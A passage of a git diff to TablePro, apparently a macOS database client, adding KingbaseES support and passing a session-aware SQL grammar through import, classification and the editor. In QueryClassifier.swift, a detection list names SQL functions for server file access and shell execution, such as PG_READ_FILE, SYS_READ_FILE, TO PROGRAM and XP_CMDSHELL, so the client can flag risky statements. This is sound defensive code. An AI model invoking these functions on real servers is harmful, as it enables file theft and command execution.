b/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift @@ -97,7 +97,7 @@ final class ImportDataSinkAdapter: PluginImportDataSink, @unchecked Sendable { self.joinsTransaction = joinsTransaction self.driver = driver self.databaseType = databaseType - self.grammar = databaseType.lexicalGrammar + self.grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution self.tableEditDialect = TableEditDialect.of(databaseType) self.databaseTypeId = databaseType.rawValue self.targetTable = targetTable @@ -600,9 +600,8 @@ final class ImportDataSinkAdapter: PluginImportDataSink, @unchecked Sendable { /// `ROLLBACK TO SAVEPOINT` keeps the transaction, and the classifier already reads it as not ending one. private func fileTransactionEnd(of statement: String) -> FileTransactionEnd? { - guard CatalogChangeClassifier.effect(of: statement, databaseType: databaseType).endsTransaction else { - return nil - } + let effect = CatalogChangeClassifier.effect(of: statement, databaseType: databaseType, grammar: grammar) + guard effect.endsTransaction else { return nil } return Self.rollbackKeywords.contains(QueryClassifier.leadingKeyword(of: statement)) ? .rollback : .commit } diff --git a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift index 02d3916b03..9f88679c97 100644 --- a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift +++ b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift @@ -13,7 +13,7 @@ enum ImportTypeMapper { serverVersion: String? = nil ) -> String { switch databaseType { - case .postgresql, .redshift, .cockroachdb: + case .postgresql, .redshift, .cockroachdb, .kingbasees: return postgresType( type, jsonColumnType: PostgreSQLServerVersion.jsonColumnType( diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift index 872fd315f8..b194fc5c04 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift @@ -716,7 +716,7 @@ extension PluginMetadataRegistry { ] return defaults + mysqlVariantDefaults( dialect: mysqlDialect, mysqlColumnTypes: mysqlColumnTypes, idleReleaseField: mysqlIdleReleaseField - ) + ) + defaults.filter { $0.typeId == "PostgreSQL" }.flatMap { kingbaseESDefaults(postgreSQL: $0.snapshot) } } } diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift new file mode 100644 index 0000000000..7e42690355 --- /dev/null +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift @@ -0,0 +1,41 @@ +// +// PluginMetadataRegistry+KingbaseESDefaults.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +extension PluginMetadataRegistry { + // Created by initdb on V9R1C10; dbms_sql, sys and wmsys exist only in an Oracle-mode cluster. + static let kingbaseESSystemSchemaNames = [ + "pg_catalog", "information_schema", "pg_toast", "sys_catalog", "sys", "anon", "dbms_job", "dbms_scheduler", + "dbms_sql", "kdb_schedule", "perf", "pg_bitmapindex", "src_restrict", "sys_hm", "sysaudit", "sysmac", "wmsys", + "xlog_record_read", + ] + + /// KingbaseES runs PostgreSQL's catalogs and wire protocol, so its entry is PostgreSQL's with its own identity + /// and without the cloud and Kerberos sign-in fields, which its servers do not offer. + static func kingbaseESDefaults(postgreSQL: PluginMetadataSnapshot) -> [(typeId: String, snapshot: PluginMetadataSnapshot)] { + [("KingbaseES", PluginMetadataSnapshot( + displayName: "KingbaseES", iconName: "cylinder", defaultPort: 54_321, + requiresAuthentication: true, supportsForeignKeys: postgreSQL.supportsForeignKeys, + supportsSchemaEditing: postgreSQL.supportsSchemaEditing, isDownloadable: true, + primaryUrlScheme: "kingbase", parameterStyle: .dollar, + navigationModel: postgreSQL.navigationModel, explainVariants: postgreSQL.explainVariants, + pathFieldRole: .database, supportsHealthMonitor: postgreSQL.supportsHealthMonitor, + urlSchemes: ["kingbase", "kingbase8"], postConnectActions: postgreSQL.postConnectActions, + brandColorHex: "#C9141E", queryLanguageName: "SQL", editorLanguage: .sql, + connectionMode: .network, supportsDatabaseSwitching: postgreSQL.supportsDatabaseSwitching, + structureEditing: postgreSQL.structureEditing, + capabilities: postgreSQL.capabilities, schema: postgreSQL.schema, editor: postgreSQL.editor, + connection: PluginMetadataSnapshot.ConnectionConfig( + additionalConnectionFields: postgreSQL.connection.additionalConnectionFields.filter { + ["usePgpass", "connectionOptions"].contains($0.id) + }, + category: .relational, + tagline: String(localized: "PostgreSQL and Oracle compatible SQL") + ) + ).withSystemNames(databases: postgreSQL.schema.systemDatabaseNames, schemas: kingbaseESSystemSchemaNames))] + } +} diff --git a/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift b/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift index 43fabd37bd..7a13e22f1a 100644 --- a/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift +++ b/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift @@ -148,7 +148,8 @@ private extension PostgreSQLDashboardProvider { label: String(localized: "Uptime"), unit: "", icon: "clock", - query: "SELECT date_trunc('second', now() - pg_postmaster_start_time())::text" + // KingbaseES in Oracle mode subtracts timestamps into an Oracle interval, printed as +000000000 00:20:19. + query: "SELECT date_trunc('second', CAST(now() - pg_postmaster_start_time() AS pg_catalog.interval))::text" ), MetricDefinition( id: "active_queries", diff --git a/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift b/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift index e79f232f0e..03c6fe62f4 100644 --- a/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift +++ b/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift @@ -67,7 +67,7 @@ private enum DashboardEngine { init?(_ databaseType: DatabaseType) { switch databaseType { - case .postgresql: + case .postgresql, .kingbasees: self = .postgresql case .redshift: self = .redshift diff --git a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift index 998e44d9f0..d46a043edc 100644 --- a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift +++ b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift @@ -59,7 +59,7 @@ struct CellExpression: Hashable, Sendable { enum CellExpressionVocabulary { static func expressions(for databaseType: DatabaseType) -> [CellExpression] { switch databaseType { - case .postgresql, .pglite: postgreSQL + case .postgresql, .pglite, .kingbasees: postgreSQL case .cockroachdb: cockroachDB case .redshift: redshift case .mysql, .mariadb, .tidb, .oceanbase: mySQL diff --git a/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift b/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift index e0594f8a7b..bc761bd61d 100644 --- a/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift +++ b/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift @@ -70,6 +70,7 @@ internal enum TransactionEngineFamily: String, Hashable, Sendable, CaseIterable "AlloyDB": .postgres, "Citus": .postgres, "Greenplum": .postgres, + "KingbaseES": .postgres, "Redshift": .redshift, "CockroachDB": .cockroach, "MySQL": .mysql, diff --git a/apple/TablePro/Core/Services/Export/ImportService.swift b/apple/TablePro/Core/Services/Export/ImportService.swift index c7b26a9aee..079b902492 100644 --- a/apple/TablePro/Core/Services/Export/ImportService.swift +++ b/apple/TablePro/Core/Services/Export/ImportService.swift @@ -97,7 +97,7 @@ final class ImportService: ObservableObject { source = SqlFileImportSource( url: url, encoding: encoding, - grammar: connection.type.lexicalGrammar, + grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id), family: TransactionEngineFamily.of(connection.type), decompressedURL: decompressedURL, ownsDecompressedFile: ownsDecompressedFile diff --git a/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift b/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift index c9c235ec9b..4215ed31d6 100644 --- a/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift +++ b/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift @@ -133,7 +133,10 @@ internal struct RowImportTableMaker { OperationRequest( connectionId: connection.id, databaseType: connection.type, - sql: SQLScriptText(databaseType: connection.type).script(statements), + sql: SQLScriptText( + databaseType: connection.type, + grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id) + ).script(statements), kind: clears ? .destructiveQuery : .schemaMutation, caller: .userInterface, capabilities: .interactiveUser, diff --git a/apple/TablePro/Core/Services/Query/CatalogChangeService.swift b/apple/TablePro/Core/Services/Query/CatalogChangeService.swift index 223ef4e0b2..9609750904 100644 --- a/apple/TablePro/Core/Services/Query/CatalogChangeService.swift +++ b/apple/TablePro/Core/Services/Query/CatalogChangeService.swift @@ -131,7 +131,11 @@ final class CatalogChangeService { private func recordStatements(_ statements: [String], databaseType: DatabaseType, connectionId: UUID) { recordNameHazards(of: statements, databaseType: databaseType, connectionId: connectionId) - let effect = CatalogChangeClassifier.effect(ofStatements: statements, databaseType: databaseType) + let effect = CatalogChangeClassifier.effect( + ofStatements: statements, + databaseType: databaseType, + grammar: SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId) + ) var kinds = effect.kinds if effect.endsTransaction { kinds.formUnion(Self.transactionEndKinds) @@ -145,14 +149,14 @@ final class CatalogChangeService { /// chain and a drop of a name another statement just freed both land on the right table. private func recordCommittedTableEdits(of succeeded: SucceededStatements) { let connectionId = succeeded.scope.connectionId + let grammar = SQLLexicalResolver.executionGrammar(for: succeeded.databaseType, connectionId: connectionId) recordNameHazards( of: DatabaseManager.startupStatements( - from: startupCommands(connectionId), databaseType: succeeded.databaseType + from: startupCommands(connectionId), databaseType: succeeded.databaseType, grammar: grammar ), databaseType: succeeded.databaseType, connectionId: connectionId ) - let grammar = SQLLexicalResolver.executionGrammar(for: succeeded.databaseType, connectionId: connectionId) var hazards = nameHazards[connectionId] ?? TableNameHazards() let edits = CommittedTableEdits.edits(in: succeeded, grammar: grammar, hazards: &hazards) nameHazards[connectionId] = hazards diff --git a/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift b/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift index 2c9d318404..b5aaadfd58 100644 --- a/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift +++ b/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift @@ -13,7 +13,7 @@ import TableProPluginKit enum ExplainPlanFormatDefaults { static func format(for databaseType: DatabaseType) -> ExplainPlanFormat { switch databaseType { - case .postgresql, .pglite: + case .postgresql, .pglite, .kingbasees: return .postgresJson case .mysql, .mariadb: return .mysqlComposite diff --git a/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift b/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift index 26d3ffb7e2..d6c229999e 100644 --- a/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift +++ b/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift @@ -8,13 +8,21 @@ import TableProSQLGrammar // SQL is read by SQLCatalogEffectClassifier, shared with iOS; engines that do not speak SQL are decided here. enum CatalogChangeClassifier { - static func effect(ofStatements statements: [String], databaseType: DatabaseType) -> SQLCatalogEffect { + static func effect( + ofStatements statements: [String], + databaseType: DatabaseType, + grammar: SQLLexicalGrammar? = nil + ) -> SQLCatalogEffect { statements.reduce(SQLCatalogEffect.none) { partial, statement in - partial.union(effect(of: statement, databaseType: databaseType)) + partial.union(effect(of: statement, databaseType: databaseType, grammar: grammar)) } } - static func effect(of sql: String, databaseType: DatabaseType) -> SQLCatalogEffect { + static func effect( + of sql: String, + databaseType: DatabaseType, + grammar: SQLLexicalGrammar? = nil + ) -> SQLCatalogEffect { let trimmed = StatementBlank.trimming(SQLLeadingComments.stripping(sql)) guard !trimmed.isEmpty else { return .none } if databaseType == .redis { @@ -27,7 +35,7 @@ enum CatalogChangeClassifier { if let request = dynamoDBRequestEffect(trimmed, databaseType: databaseType) { return request } - return SQLCatalogEffectClassifier.effect(of: trimmed, grammar: databaseType.lexicalGrammar) + return SQLCatalogEffectClassifier.effect(of: trimmed, grammar: grammar ?? databaseType.lexicalGrammar) } // PartiQL, and an action the driver does not know, which goes out as PartiQL, take the SQL path. diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift index 262fa94ada..c179696233 100644 --- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift +++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift @@ -16,10 +16,6 @@ import TableProSQLGrammar /// spell out and never below a write. Dynamic SQL built from variables cannot be read, which leaves it where a `CALL` /// of a stored procedure is: a write whose effect the text does not show. extension QueryClassifier { - static func runsPLSQL(_ sql: String, databaseType: DatabaseType) -> Bool { - SQLProceduralBlock.runsPLSQL(sql, grammar: databaseType.lexicalGrammar) - } - static func proceduralBlockClassification( _ trimmed: String, grammar: SQLLexicalGrammar, diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift index 14cc6a3c49..0669a1d8ae 100644 --- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift +++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift @@ -258,7 +258,10 @@ private extension QueryClassifier { options: [] ) - static let enginesWithSequencePseudoColumns: Set = [.oracle, .sapHana, .snowflake, .dameng, .mariadb] + // KingbaseES has it in Oracle mode only, and its type id cannot say which mode a server runs. + static let enginesWithSequencePseudoColumns: Set = [ + .oracle, .sapHana, .snowflake, .dameng, .mariadb, .kingbasees, + ] static func advancesSequence(_ body: String, databaseType: DatabaseType) -> Bool { let range = NSRange(body.startIndex..., in: body) @@ -300,6 +303,7 @@ private extension QueryClassifier { static let filesystemMarkers: [String] = [ "INTO OUTFILE", "INTO DUMPFILE", "TO PROGRAM", "FROM PROGRAM", "VACUUM INTO", "LOAD_FILE(", "PG_READ_FILE(", "PG_READ_BINARY_FILE(", "PG_LS_DIR(", + "SYS_READ_FILE(", "SYS_READ_BINARY_FILE(", "SYS_LS_DIR(", "LO_IMPORT(", "LO_EXPORT(", "PG_FILE_WRITE(", "LOAD_EXTENSION(", "READFILE(", "WRITEFILE(", "FN_GET_AUDIT_FILE(", "XP_CMDSHELL", "SP_OACREATE" ] diff --git a/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift b/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift index c465dee946..132c1c7e17 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift @@ -298,6 +298,16 @@ final class SQLFileParser: Sendable { flushWord(&ctx) } guard SqlBlockStructure.startsWord(nsBuffer, at: i, length: bufLen, grammar: ctx.grammar) else { return .none } + // `E'...'` is a literal, and the escape-string branch that reads it never runs once `E` starts a word. + if ctx.grammar.contains(.escapeStringPrefix), char == kCapitalE || char == kSmallE, + !SQLNonCodeSpan.isWordUnit(ctx.previousUnit) { + if i + 1 < bufLen { + if nsBuffer.character(at: i + 1) == kSingleQuote { return .none } + } else if !ctx.atEndOfInput { + ctx.previousUnitInWord = followsWord + return .needsMoreData + } + } if readsAlternativeQuotes, !SQLNonCodeSpan.isWordUnit(ctx.previousUnit), let quoteLength = alternativeQuotePrefixLength(nsBuffer, at: i, bufLen: bufLen) { if quoteLength > 0 { @@ -425,7 +435,7 @@ final class SQLFileParser: Sendable { appendRange(&ctx, from: i, to: i + prefixLength, in: nsBuffer) ctx.alternativeQuoteCloser = alternativeQuoteCloser(for: nsBuffer.character(at: i + prefixLength - 1)) ctx.state = .inAlternativeQuote - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: char) i += prefixLength return StepResult(advanced: true, deferred: false) case .none: @@ -479,6 +489,7 @@ final class SQLFileParser: Sendable { ctx.state = .inSingleQuotedString ctx.quoteChar = kSingleQuote ctx.backslashEscapesActive = true + ctx.boundaries?.observeQuotedToken(opener: char) i += 2 return StepResult(advanced: true, deferred: false) } @@ -488,7 +499,7 @@ final class SQLFileParser: Sendable { ctx.hasStatementContent, ctx.statementStartLine, ctx.currentLine) appendChar(char, to: ctx.currentStatement) ctx.state = .inBracketedIdentifier - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: char) return StepResult(advanced: false, deferred: false) } @@ -501,7 +512,7 @@ final class SQLFileParser: Sendable { let openerRange = NSRange(location: i, length: length) target.append(nsBuffer.substring(with: openerRange)) } - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: char) ctx.state = .inDollarQuote ctx.dollarTag = tag i += length @@ -525,7 +536,7 @@ final class SQLFileParser: Sendable { } if let advanced = processQuoteOpen(&ctx, char: char, nextChar: nextChar) { - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: char) if advanced { i += 2 } return StepResult(advanced: advanced, deferred: false) } @@ -708,7 +719,7 @@ final class SQLFileParser: Sendable { ctx.state = .inTripleQuotedString ctx.quoteChar = quote ctx.backslashEscapesActive = ctx.grammar.backslashEscapes(inQuote: quote) - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: quote) } /// Runs a triple-quoted literal to the three quotes that close it, holding back a quote or a backslash the buffer diff --git a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift index 3ede0ba639..3d5fd13cc5 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift @@ -28,8 +28,21 @@ enum SQLLexicalResolver { /// The grammar a script is split with for execution on `connectionId`, with the driver's session facts applied. @MainActor static func executionGrammar(for databaseType: DatabaseType, connectionId: UUID) -> SQLLexicalGrammar { - let session = DatabaseManager.shared.driver(for: connectionId)?.sessionLexicalState - return readings(for: databaseType, session: session).execution + readings(for: databaseType, session: sessionState(for: connectionId)).execution + } + + /// The grammar for text bound to `scope`, read from the driver holding that database: a connection that keeps one + /// session per database can hold different session facts on each. + @MainActor + static func executionGrammar(for databaseType: DatabaseType, scope: DatabaseScope) -> SQLLexicalGrammar { + readings(for: databaseType, session: DatabaseManager.shared.sessionDriver(holding: scope)?.sessionLexicalState) + .execution + } + + /// What the connected driver read from its session, or `nil` while `connectionId` has none. + @MainActor + static func sessionState(for connectionId: UUID) -> PluginSessionLexicalState? { + DatabaseManager.shared.driver(for: connectionId)?.sessionLexicalState } private static func declaredGrammar(for databaseType: DatabaseType) -> SQLLexicalGrammar? { diff --git a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift index a60c1dcb85..70d1741469 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift @@ -233,7 +233,7 @@ internal struct SQLRowToStatementConverter { hex += String(format: "%02X", byte) } switch databaseType { - case .postgresql, .redshift, .cockroachdb: + case .postgresql, .redshift, .cockroachdb, .pglite, .kingbasees: return "'\\x\(hex)'::bytea" case .mssql: return "0x\(hex)" diff --git a/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift b/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift index 560661b8e0..a70d3f00f8 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift @@ -28,9 +28,14 @@ internal struct SQLScriptText { private let grammar: SQLLexicalGrammar internal init(databaseType: DatabaseType) { + self.init(databaseType: databaseType, grammar: databaseType.lexicalGrammar) + } + + /// `grammar` is the session's execution grammar, which a server setting such as KingbaseES Oracle mode changes. + internal init(databaseType: DatabaseType, grammar: SQLLexicalGrammar) { self.databaseType = databaseType self.dialect = SqlDialect.from(databaseTypeId: databaseType.rawValue) - self.grammar = databaseType.lexicalGrammar + self.grammar = grammar } /// The statements `text` holds, each exactly as the driver receives it in one call, in order. diff --git a/apple/TablePro/Info.plist b/apple/TablePro/Info.plist index 9ac41c6a57..a6ec1fc9d6 100644 --- a/apple/TablePro/Info.plist +++ b/apple/TablePro/Info.plist @@ -581,6 +581,8 @@ postgresql postgres + kingbase + kingbase8 mysql mariadb tidb diff --git a/apple/TablePro/Models/Connection/DatabaseType.swift b/apple/TablePro/Models/Connection/DatabaseType.swift index 54359866a6..bce99781a3 100644 --- a/apple/TablePro/Models/Connection/DatabaseType.swift +++ b/apple/TablePro/Models/Connection/DatabaseType.swift @@ -26,6 +26,7 @@ extension DatabaseType { static let pglite = DatabaseType(rawValue: "PGlite") // Registry-distributed types (known plugins, downloadable separately) + static let kingbasees = DatabaseType(rawValue: "KingbaseES") static let mongodb = DatabaseType(rawValue: "MongoDB") static let redis = DatabaseType(rawValue: "Redis") static let mssql = DatabaseType(rawValue: "SQL Server") diff --git a/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift b/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift index 87daeaefb7..1f48338188 100644 --- a/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift +++ b/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift @@ -7,8 +7,8 @@ import Foundation /// a statement the server rejects. /// /// Curated in the app and keyed by database type id. It cannot be keyed by plugin: MySQL and MariaDB -/// share one and spell an expression default differently; PostgreSQL, Redshift, CockroachDB and PGlite -/// share one, and only two of them have `gen_random_uuid()`. +/// share one and spell an expression default differently; PostgreSQL, Redshift, CockroachDB, PGlite and +/// KingbaseES share one, and Redshift and KingbaseES have no `gen_random_uuid()`. /// /// What belongs here is the vocabulary, not the syntax. MySQL takes a `TEXT` or `JSON` default only in /// parentheses whatever the value is, so that parenthesising is the MySQL driver's job at the point it @@ -36,10 +36,11 @@ internal enum ColumnDefaultVocabulary { } /// Oracle treats a zero-length character value as null, so `DEFAULT ''` and `DEFAULT NULL` are the - /// same statement there and offering both would be a lie. Dameng follows Oracle. + /// same statement there and offering both would be a lie. Dameng follows Oracle, and so does KingbaseES + /// in Oracle mode, which its type id cannot tell from PostgreSQL mode. private static func offersEmptyString(_ databaseType: DatabaseType) -> Bool { switch databaseType { - case .oracle, .dameng: false + case .oracle, .dameng, .kingbasees: false default: true } } @@ -52,6 +53,8 @@ internal enum ColumnDefaultVocabulary { return ["CURRENT_TIMESTAMP", "uuid()", "curdate()"] case .postgresql, .pglite: return ["CURRENT_TIMESTAMP", "now()", "CURRENT_DATE", "gen_random_uuid()", "true", "false"] + case .kingbasees: + return ["CURRENT_TIMESTAMP", "now()", "CURRENT_DATE", "true", "false"] case .cockroachdb: return ["current_timestamp()", "now()", "gen_random_uuid()", "unique_rowid()", "true", "false"] case .redshift: diff --git a/apple/TablePro/Models/Schema/ForeignKeyDialect.swift b/apple/TablePro/Models/Schema/ForeignKeyDialect.swift index fe1f2d3fce..ace0be0dad 100644 --- a/apple/TablePro/Models/Schema/ForeignKeyDialect.swift +++ b/apple/TablePro/Models/Schema/ForeignKeyDialect.swift @@ -51,7 +51,7 @@ struct ForeignKeyDialect: Equatable, Sendable { allowsQualifiedReferencedTable: true, allowsOmittedReferencedColumns: false ) - case .postgresql, .pglite, .cockroachdb, .redshift: + case .postgresql, .pglite, .cockroachdb, .redshift, .kingbasees: return ForeignKeyDialect( deleteActions: everyAction, updateActions: everyAction, diff --git a/apple/TablePro/Models/Schema/IndexKeyDialect.swift b/apple/TablePro/Models/Schema/IndexKeyDialect.swift index 26bd85e841..232fbda1ea 100644 --- a/apple/TablePro/Models/Schema/IndexKeyDialect.swift +++ b/apple/TablePro/Models/Schema/IndexKeyDialect.swift @@ -17,7 +17,7 @@ struct IndexKeyDialect: Equatable, Sendable { return IndexKeyDialect(takesPrefixLengths: true, takesExpressions: true) case .mariadb, .tidb, .oceanbase: return IndexKeyDialect(takesPrefixLengths: true, takesExpressions: false) - case .postgresql, .pglite, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb: + case .postgresql, .pglite, .kingbasees, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb: return IndexKeyDialect(takesPrefixLengths: false, takesExpressions: true) default: return .columnsOnly diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings index 422eaccc99..84ff17bec7 100644 --- a/apple/TablePro/Resources/Localizable.xcstrings +++ b/apple/TablePro/Resources/Localizable.xcstrings @@ -5781,6 +5781,12 @@ } } } + }, + "%@ runs in a compatibility mode with column types of its own, so structures can be compared but no script is generated." : { + + }, + "%@ runs in a compatibility mode with column types of its own. Copy to a target of the same type in the same mode." : { + }, "%@ s" : { "extractionState" : "stale", @@ -99202,6 +99208,10 @@ } } }, + "KingbaseES in %@ mode is not supported. Connect to a server in PostgreSQL or Oracle mode." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "kubectl port-forward" : { "localizations" : { "fr" : { @@ -134493,6 +134503,9 @@ } } } + }, + "PostgreSQL and Oracle compatible SQL" : { + }, "PostgreSQL custom archive" : { "localizations" : { @@ -135053,6 +135066,9 @@ } } } + }, + "Preferred tries TLS first, falls back to plain." : { + }, "Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon." : { "localizations" : { diff --git a/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift b/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift index 9c3f184a7e..64cb3d6702 100644 --- a/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift +++ b/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift @@ -248,7 +248,7 @@ extension AIChatViewModel { else { return [] } return AISchemaContext.referencedTables( in: AISchemaContext.carriedQuery(query), - grammar: connection.type.lexicalGrammar + grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id) ) } diff --git a/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift b/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift index 20175e5be0..cf80d17f2f 100644 --- a/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift +++ b/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift @@ -18,10 +18,12 @@ import TableProSQLGrammar enum FoldProviderResolver { /// The provider for a connection, which knows both the language and the SQL dialect. static func provider(for databaseType: DatabaseType) -> LineFoldProvider? { - provider( - for: PluginManager.shared.editorLanguage(for: databaseType), - grammar: databaseType.lexicalGrammar - ) + provider(for: databaseType, grammar: databaseType.lexicalGrammar) + } + + /// The same, reading the grammar the connection's session lexes with. + static func provider(for databaseType: DatabaseType, grammar: SQLLexicalGrammar) -> LineFoldProvider? { + provider(for: PluginManager.shared.editorLanguage(for: databaseType), grammar: grammar) } /// The provider for a listing whose language is known but whose dialect is not, such as a fenced code block. diff --git a/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift b/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift index cc1e7add05..ac96f70436 100644 --- a/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift +++ b/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift @@ -3,6 +3,7 @@ import SwiftUI import TableProAutocomplete import TableProEditorKit import TableProPluginKit +import TableProSQLGrammar import TableProTextEngine @MainActor @@ -41,6 +42,7 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate { let databaseType: DatabaseType? let profileRevision: String? let connectionId: UUID? + let grammar: SQLLexicalGrammar? } private var service: QueryCompletionService @@ -60,13 +62,15 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate { schemaProvider: SQLSchemaProvider?, databaseType: DatabaseType?, profile: QueryCompletionProfile? = nil, - connectionId: UUID? = nil + connectionId: UUID? = nil, + grammar: SQLLexicalGrammar? = nil ) { let requested = Configuration( schemaProvider: schemaProvider.map(ObjectIdentifier.init), databaseType: databaseType, profileRevision: profile?.revision, - connectionId: connectionId + connectionId: connectionId, + grammar: grammar ) guard requested != configuration else { return } configuration = requested @@ -74,7 +78,8 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate { schemaProvider: schemaProvider, databaseType: databaseType, profile: profile, - connectionId: connectionId + connectionId: connectionId, + grammar: grammar ) service.updateFavoriteKeywords(favoriteKeywords) session = nil diff --git a/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift b/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift index a8bc35f755..094e3d4ce7 100644 --- a/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift +++ b/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift @@ -9,6 +9,7 @@ import AppKit import os import TableProEditorKit +import TableProSQLGrammar import TableProTextEngine @MainActor @@ -32,8 +33,8 @@ final class QueryDiagnosticsController { self.clock = clock } - func configure(databaseType: DatabaseType?) { - producer = QueryDiagnosticsFactory.make(for: databaseType) + func configure(databaseType: DatabaseType?, grammar: SQLLexicalGrammar? = nil) { + producer = QueryDiagnosticsFactory.make(for: databaseType, grammar: grammar) diagnostics = [] } diff --git a/apple/TablePro/Views/Editor/SQLEditorController.swift b/apple/TablePro/Views/Editor/SQLEditorController.swift index 0d0d766a44..1b218c27bc 100644 --- a/apple/TablePro/Views/Editor/SQLEditorController.swift +++ 